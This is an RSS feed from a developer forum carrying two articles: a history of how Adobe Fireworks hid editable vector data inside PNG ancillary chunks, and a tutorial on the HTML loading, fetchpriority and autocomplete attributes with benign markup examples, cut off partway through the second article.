<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>HMPL.js Forem</title>
    <description>The most recent home feed on HMPL.js Forem.</description>
    <link>https://hmpljs.forem.com</link>
    <atom:link rel="self" type="application/rss+xml" href="https://hmpljs.forem.com/feed"/>
    <language>en</language>
    <item>
      <title>The Trojan Horse of Web Design: The Genius Behind Adobe Fireworks' "Vector PNGs"</title>
      <dc:creator>💻 Arpad Kish 💻</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:43:29 +0000</pubDate>
      <link>https://hmpljs.forem.com/rpi1337/the-trojan-horse-of-web-design-the-genius-behind-adobe-fireworks-vector-pngs-5b9f</link>
      <guid>https://hmpljs.forem.com/rpi1337/the-trojan-horse-of-web-design-the-genius-behind-adobe-fireworks-vector-pngs-5b9f</guid>
      <description>&lt;p&gt;If you were designing websites in the late 1990s and early 2000s, your hard drive was likely a mess. The standard workflow of the era demanded a strict, frustrating division of labor: you had your heavy, complex "source" files—usually Adobe Photoshop (&lt;code&gt;.psd&lt;/code&gt;) or Illustrator (&lt;code&gt;.ai&lt;/code&gt;) documents containing all your editable layers and vectors—and you had your "delivery" files—the flattened, highly compressed &lt;code&gt;.jpg&lt;/code&gt; or &lt;code&gt;.gif&lt;/code&gt; images that you actually uploaded to the server. &lt;/p&gt;

&lt;p&gt;Managing this dual-file system was a nightmare of version control. If a client wanted to change the text on a web button, you had to dig up the original &lt;code&gt;.psd&lt;/code&gt;, change the text, re-slice the image, re-export it, and re-upload it. &lt;/p&gt;

&lt;p&gt;Then came Macromedia (later Adobe) Fireworks, a tool built from the ground up exclusively for web UI design. Fireworks promised a utopian workflow: what if the source file and the delivery file were the exact same thing? &lt;/p&gt;

&lt;p&gt;To achieve this, Fireworks pulled off one of the most brilliant technical sleights-of-hand in software history. They hacked the &lt;code&gt;.png&lt;/code&gt; format.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Problem: Vectors vs. Pixels
&lt;/h3&gt;

&lt;p&gt;To understand the genius of Fireworks, you have to understand the fundamental divide in digital graphics. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Raster graphics&lt;/strong&gt; (like JPEG, GIF, and standard PNG) are grids of colored pixels. They are universally understood by web browsers, but they are "flat." Once text is rendered into pixels, it's just a mosaic of color; you can't click in and edit the typo.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Vector graphics&lt;/strong&gt; (like SVG or Illustrator files) are mathematical formulas defining lines, shapes, and text. They are endlessly editable and scalable without losing quality, but historically, web browsers couldn't read them. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fireworks was a vector-based design tool. It allowed you to draw shapes, apply live drop shadows, and type editable text. But it needed to output a file that a web browser could instantly display. Its solution was to use the Portable Network Graphics (PNG) format not just as an image, but as a Trojan horse.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Secret of PNG "Chunks"
&lt;/h3&gt;

&lt;p&gt;The PNG file format specification is surprisingly flexible. A PNG file isn't just one solid block of data; it is composed of independent data blocks called &lt;strong&gt;chunks&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;Some of these chunks are mandatory. Every PNG must have a header chunk (telling the computer "I am a PNG"), an image data chunk (the &lt;code&gt;IDAT&lt;/code&gt; block containing the actual pixels), and an end chunk. If an image viewer reads these, it can display the picture.&lt;/p&gt;

&lt;p&gt;However, the architects of the PNG format smartly included the ability to add &lt;strong&gt;ancillary chunks&lt;/strong&gt;—optional blocks of metadata. The golden rule of the PNG specification is that if a software program encounters an ancillary chunk it doesn't understand, it should simply ignore it and move on to the chunks it does understand.&lt;/p&gt;

&lt;p&gt;Fireworks exploited this rule masterfully. &lt;/p&gt;

&lt;h3&gt;
  
  
  The Dual-Natured File
&lt;/h3&gt;

&lt;p&gt;When you hit "Save" in Fireworks, the software rapidly generated two completely different sets of data and stuffed them into the same &lt;code&gt;.png&lt;/code&gt; file.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;The Decoy (For the Browser):&lt;/strong&gt; First, Fireworks rendered your entire editable canvas into a perfectly flat, standard raster image. It packed these pixels into the mandatory &lt;code&gt;IDAT&lt;/code&gt; chunk. &lt;/li&gt;
&lt;li&gt; &lt;strong&gt;The Payload (For the Designer):&lt;/strong&gt; Simultaneously, Fireworks took all of your private workspace data—your vector paths, your text layers, your slice guides, and your live effects—and bundled it into a proprietary, hidden ancillary chunk. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The result was a file with a split personality, and its behavior depended entirely on who was looking at it. &lt;/p&gt;

&lt;p&gt;If you dragged that &lt;code&gt;button.png&lt;/code&gt; file into Internet Explorer, the browser would look at the file, read the standard pixel data, ignore the weird proprietary chunk it didn't understand, and display a beautiful, flat web graphic.&lt;/p&gt;

&lt;p&gt;But if you opened that exact same &lt;code&gt;button.png&lt;/code&gt; file in Fireworks, the software would bypass the flat pixels entirely. It would dive into its hidden payload chunk, unpack the data, and instantly rebuild your workspace. The text was editable again. The vector shapes could be resized. &lt;/p&gt;

&lt;h3&gt;
  
  
  The Bloat and the Export
&lt;/h3&gt;

&lt;p&gt;This "Vector PNG" completely eliminated the need for separate source files. Your working directory was just a folder full of PNGs that you could immediately preview in a browser or open in Fireworks to edit.&lt;/p&gt;

&lt;p&gt;There was, however, a catch: file size. &lt;/p&gt;

&lt;p&gt;Because a Fireworks PNG contained both a flattened image &lt;em&gt;and&lt;/em&gt; a comprehensive mathematical breakdown of the document's construction, the files were significantly heavier than standard web images. A button that should be 5 kilobytes might weigh 50 kilobytes. &lt;/p&gt;

&lt;p&gt;Therefore, while you &lt;em&gt;could&lt;/em&gt; technically put your working Fireworks PNGs directly onto a live web server, it was bad practice for site performance. When it was time to actually launch a site, designers used a specific "Export" function. This process stripped out the proprietary vector payload chunk, leaving behind only the lightweight, optimized &lt;code&gt;IDAT&lt;/code&gt; pixel data for the final web-ready file. &lt;/p&gt;

&lt;h3&gt;
  
  
  A Lasting Legacy
&lt;/h3&gt;

&lt;p&gt;Adobe ultimately discontinued Fireworks in 2013, effectively conceding the web design space to newer tools like Sketch and, eventually, Figma. Today, web browsers natively support vector graphics through SVG, making the specific raster/vector bridge that Fireworks built obsolete.&lt;/p&gt;

&lt;p&gt;Yet, the cleverness of the Fireworks PNG remains a masterclass in software engineering. By understanding not just the limitations of the web, but the hidden flexibility within standard file specifications, the developers created a tool that felt like magic to a generation of web designers.&lt;/p&gt;

</description>
      <category>webdesign</category>
      <category>uidesign</category>
    </item>
    <item>
      <title>HTML Attributes That Do More Than You Think</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:42:51 +0000</pubDate>
      <link>https://hmpljs.forem.com/web_dev-usman/html-attributes-that-do-more-than-you-think-4l8f</link>
      <guid>https://hmpljs.forem.com/web_dev-usman/html-attributes-that-do-more-than-you-think-4l8f</guid>
      <description>&lt;p&gt;Two developers build the same page. Same images, same form, same content. One loads faster, scores better on Core Web Vitals, and feels smoother on mobile. The other does not.&lt;/p&gt;

&lt;p&gt;The difference is four HTML attributes. Each one takes about thirty seconds to add. Each one has a real, measurable impact on the people using your page.&lt;/p&gt;

&lt;p&gt;Here is what they do and how to use them right.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here are the exact code examples:&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  loading
&lt;/h3&gt;

&lt;p&gt;By default, the browser fetches every image it finds in your HTML immediately, even the ones three screens below the fold that the user may never reach. On pages with many images, that is a lot of wasted bandwidth upfront.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffrqc0trkfk30v1i9tyeq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffrqc0trkfk30v1i9tyeq.png" width="800" height="610"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;loading&lt;/code&gt; attribute changes this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Loads immediately --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"hero.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Hero"&lt;/span&gt; &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"eager"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Waits until the user scrolls near it --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"article-photo.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Photo"&lt;/span&gt; &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"lazy"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Works on iframes too --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"map.html"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;"Map"&lt;/span&gt; &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"lazy"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;loading="lazy"&lt;/code&gt; defers the request until the user is actually close to that element. If they never scroll there, the request never happens.&lt;/p&gt;

&lt;p&gt;One thing to be careful about. Never use &lt;code&gt;loading="lazy"&lt;/code&gt; on images visible when the page first opens. Those images should load immediately. Deferring them increases your Largest Contentful Paint time, which affects both user experience and search rankings.&lt;/p&gt;

&lt;p&gt;The rule is simple. Above the fold gets &lt;code&gt;eager&lt;/code&gt; or nothing. Below the fold gets &lt;code&gt;lazy&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Hero. Load it right away. --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"hero.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Hero"&lt;/span&gt; &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"eager"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"1200"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"600"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Further down the page. Let it wait. --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"section-photo.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Photo"&lt;/span&gt; &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"lazy"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"800"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"500"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Always include &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; with lazy loaded images. Without them, the layout shifts when the image arrives, which is jarring for users and hurts your Cumulative Layout Shift score.&lt;/p&gt;

&lt;h3&gt;
  
  
  fetchpriority
&lt;/h3&gt;

&lt;p&gt;The browser assigns a priority to every resource it loads. Stylesheets are high priority because they block rendering. Images are low priority by default because most of them are below the fold.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2a0b2o2qkw4jt0lkvl2s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2a0b2o2qkw4jt0lkvl2s.png" width="800" height="668"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The problem is your hero image is also low priority by default, even though it is the most important thing on the page.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;fetchpriority&lt;/code&gt; lets you correct that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Tell the browser this image matters more than other images --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"hero.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Hero"&lt;/span&gt; &lt;span class="na"&gt;fetchpriority=&lt;/span&gt;&lt;span class="s"&gt;"high"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- This script is not critical, let it wait --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"analytics.js"&lt;/span&gt; &lt;span class="na"&gt;fetchpriority=&lt;/span&gt;&lt;span class="s"&gt;"low"&lt;/span&gt; &lt;span class="na"&gt;defer&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Works on preloads too --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"preload"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"hero.jpg"&lt;/span&gt; &lt;span class="na"&gt;as=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;fetchpriority=&lt;/span&gt;&lt;span class="s"&gt;"high"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most impactful use is on your LCP image. Adding &lt;code&gt;fetchpriority="high"&lt;/code&gt; moves it to the front of the loading queue from the very start instead of sitting behind fonts and scripts that got there first.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt;  &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"hero.jpg"&lt;/span&gt;  &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Hero"&lt;/span&gt;  &lt;span class="na"&gt;fetchpriority=&lt;/span&gt;&lt;span class="s"&gt;"high"&lt;/span&gt;  &lt;span class="na"&gt;loading=&lt;/span&gt;&lt;span class="s"&gt;"eager"&lt;/span&gt;  &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"1200"&lt;/span&gt;  &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"600"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;fetchpriority="high"&lt;/code&gt; and &lt;code&gt;loading="eager"&lt;/code&gt; are doing different things here. &lt;code&gt;eager&lt;/code&gt; means do not defer this image. &lt;code&gt;fetchpriority="high"&lt;/code&gt; means when competing with other resources for bandwidth, this one goes first. Both belong on your hero image.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;low&lt;/code&gt; value is useful when you are preloading something that is not needed for the initial render and you do not want it competing with resources that are.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"preload"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"secondary-font.woff2"&lt;/span&gt; &lt;span class="na"&gt;as=&lt;/span&gt;&lt;span class="s"&gt;"font"&lt;/span&gt; &lt;span class="na"&gt;fetchpriority=&lt;/span&gt;&lt;span class="s"&gt;"low"&lt;/span&gt; &lt;span class="na"&gt;crossorigin&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This attribute became fully supported across all major browsers in October 2024 and works as a hint, meaning the browser will respect it when it can and use its own judgment when needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  autocomplete
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;autocomplete&lt;/code&gt; attribute tells the browser what kind of data lives in a field. When the browser knows this, it can offer the right saved value instantly, whether that is a saved address, a credit card number, or login credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty40bup80m43a0z5y2dz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty40bup80m43a0z5y2dz.png" width="800" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Most developers know it accepts &lt;code&gt;on&lt;/code&gt; and &lt;code&gt;off&lt;/code&gt;. What is less known is that it accepts over 50 specific values, each one mapping to a particular type of information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Personal details --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"given-name"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"First name"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"family-name"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Last name"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"email"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Email"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"tel"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"tel"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Phone"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Address --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"street-address"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Street address"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"postal-code"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Postal code"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"country"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Country"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Payment --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"cc-name"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Name on card"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"cc-number"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Card number"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"cc-exp"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Expiry"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"cc-csc"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"CVV"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Login --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Username"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"current-password"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"new-password"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Create a password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;current-password&lt;/code&gt; and &lt;code&gt;new-password&lt;/code&gt; are worth understanding separately. &lt;code&gt;current-password&lt;/code&gt; tells the browser the user is entering an existing password, so it offers saved credentials. &lt;code&gt;new-password&lt;/code&gt; tells it the user is creating one, so it offers to generate a strong password instead. One value, completely different behavior.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhh1jvjvgu7gwhco9p6j6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhh1jvjvgu7gwhco9p6j6.png" width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For one-time verification codes there is a dedicated value:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;  &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt;  &lt;span class="na"&gt;autocomplete=&lt;/span&gt;&lt;span class="s"&gt;"one-time-code"&lt;/span&gt;  &lt;span class="na"&gt;inputmode=&lt;/span&gt;&lt;span class="s"&gt;"numeric"&lt;/span&gt;  &lt;span class="na"&gt;maxlength=&lt;/span&gt;&lt;span class="s"&gt;"6"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



